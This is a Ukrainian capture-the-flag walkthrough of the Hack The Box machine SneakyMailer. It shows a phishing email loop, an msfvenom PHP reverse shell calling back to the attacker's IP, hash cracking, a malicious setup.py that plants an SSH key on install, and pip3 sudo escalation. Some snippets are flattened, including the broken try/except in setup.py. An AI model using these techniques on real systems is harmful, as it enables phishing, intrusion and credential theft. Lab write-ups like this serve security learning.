У цій статті розглядається детальний процес проходження завдання SneakyMailer на платформі Hack The Box. Ви дізнаєтеся, як отримати список електронних адрес, здійснити фішингову розсилку, розмістити PHP-шел через FTP, виконати довільний код за допомогою PyPI та підвищити привілеї через GTFOBins pip3.
Стаття демонструє процес отримання списку електронних адрес, виконання розсилки фішингових листів, розміщення PHP шелу через FTP, виконання довільного коду за допомогою PyPI та підвищення привілеїв через GTFOBins pip3.
Ця машина має IP адресу 10.10.10.197, яку додаємо в /etc/hosts.
10.10.10.197 sneakymailer.htb
Спочатку виконується сканування відкритих портів.
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1
/etc/hosts.10.10.10.197 sneakycorp.htb
На сайті можна знайти список співробітників та відповідні email’и.
Для отримання всіх адрес електронної пошти використовуємо email extractor.
Тепер відкриваємо 80 портів і здійснюємо багатоадресну розсилку фішингових листів, використовуючи інструмент swaks.
while read mail; do swaks --to $mail --from [email protected] --header 'Subject: News' --body 'Look it: http://10.10.14.114/' --server sneakymailer.htb | grep 'To:' ; done < emails.txt
І бачимо, що якийсь користувач переходить за нашим посиланням.
Давайте декодуємо дані.
Отримуємо пароль, за допомогою якого ми можемо авторизуватись на поштовому сервері.
Як клієнт використовуємо Evolution.
Вводимо пароль при підключенні та бачимо два листи.
В одному з листів виявлено пароль для облікового запису розробника (придатний для доступу до FTP) та згадку про PyPI, пов’язану з користувачем low.
Зайшовши на FTP та отримавши деякі файли, помічаємо, що це вихідні коди сайту.
Додамо піддомен dev у /etc/hosts.
10.10.10.197 dev.sneakycorp.htb
Отримані дані дозволяють розмістити PHP шелл на сервері. Для цього використовуємо завантаження. У даному випадку було обрано Meterpreter як навантаження.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.114 LPORT=4321 -f raw > r.php cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
Після розміщення файлу в директорію dev запустимо листонер.
handler -p php/meterpreter_reverse_tcp -H 10.10.14.114 -P 4321
Після звернення до нашого файлу отримуємо активну сесію.
hashcat --example | grep '$apr1' -A2 -B2
hashcat -m 1600 -a 0 pypi.hash ./tools/rockyou.txt
Знайдений піддомен також додамо /etc/hosts.
10.10.10.197 pypi.sneakycorp.htb
Встановлення свого пакета дає можливість виконання довільного коду. Ось гарна інструкція зі створення python пакета. Насамперед створимо директорію.
Тепер необхідно створити такі файли: init.py, .pypirc, README.md, setup.cfg і setup.py. У файлі setup.py буде розміщено виконуваний код. Приклад коду для файлу setup.py, який записує SSH-ключ користувачу low.
from setuptools import setup
try:
f = open('/home/low/.ssh/authorized_keys', 'a')
f.write('ssh-rsa ... ')
f.close()
except:
setup(
name='ralfpack',
packages=['ralfpack'],
description='R',
version='0.1',
url='http://pypi.sneakymailer.htb:8080/ralfpack',
author='ralf',
author_email='[email protected]',
keywords=['pip','ralfpack','example'] )
Створюємо __init__.py (щоб був), порожній README.md та setup.cfg (у ньому вказуємо README.md).
І залишилося зробити файл .pypirc. Задаємо назву пакета та конфігурації для нього.
Завантажуємо всі файли на хост.
Отримаємо нормальну оболонку та зберемо наш пакет.
python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 setup.py sdist
Тепер завантажимо його.
python3 setup.py sdist upload -r ralfpack
Ключ успішно завантажено, і тепер можна підключатися до SSH, використовуючи приватний ключ для доступу до облікового запису користувача low.
З аналізу налаштувань sudo виявлено, що команда pip3 може виконуватись з правами root. Це відкриває можливість для підвищення привілеїв через експлуатацію функціоналу pip3.
Звертаємось до GTFOBins і бачимо інструкцію отримання шелла.
Повторюємо та отримуємо шелл від імені root.
У цій статті описано проходження завдання SneakyMailer на Hack The Box із використанням сучасних технік кібербезпеки. Демонструємо, як через аналіз мережевих портів, фішингову розсилку, розміщення PHP шелу та роботу з PyPI можна досягти доступу до облікових записів і підвищити привілеї. Завершальним етапом стає використання можливостей sudo для виконання pip3 з правами адміністратора, що відкриває шлях до повного контролю над системою. Стаття є корисною для розуміння практичних аспектів інформаційної безпеки.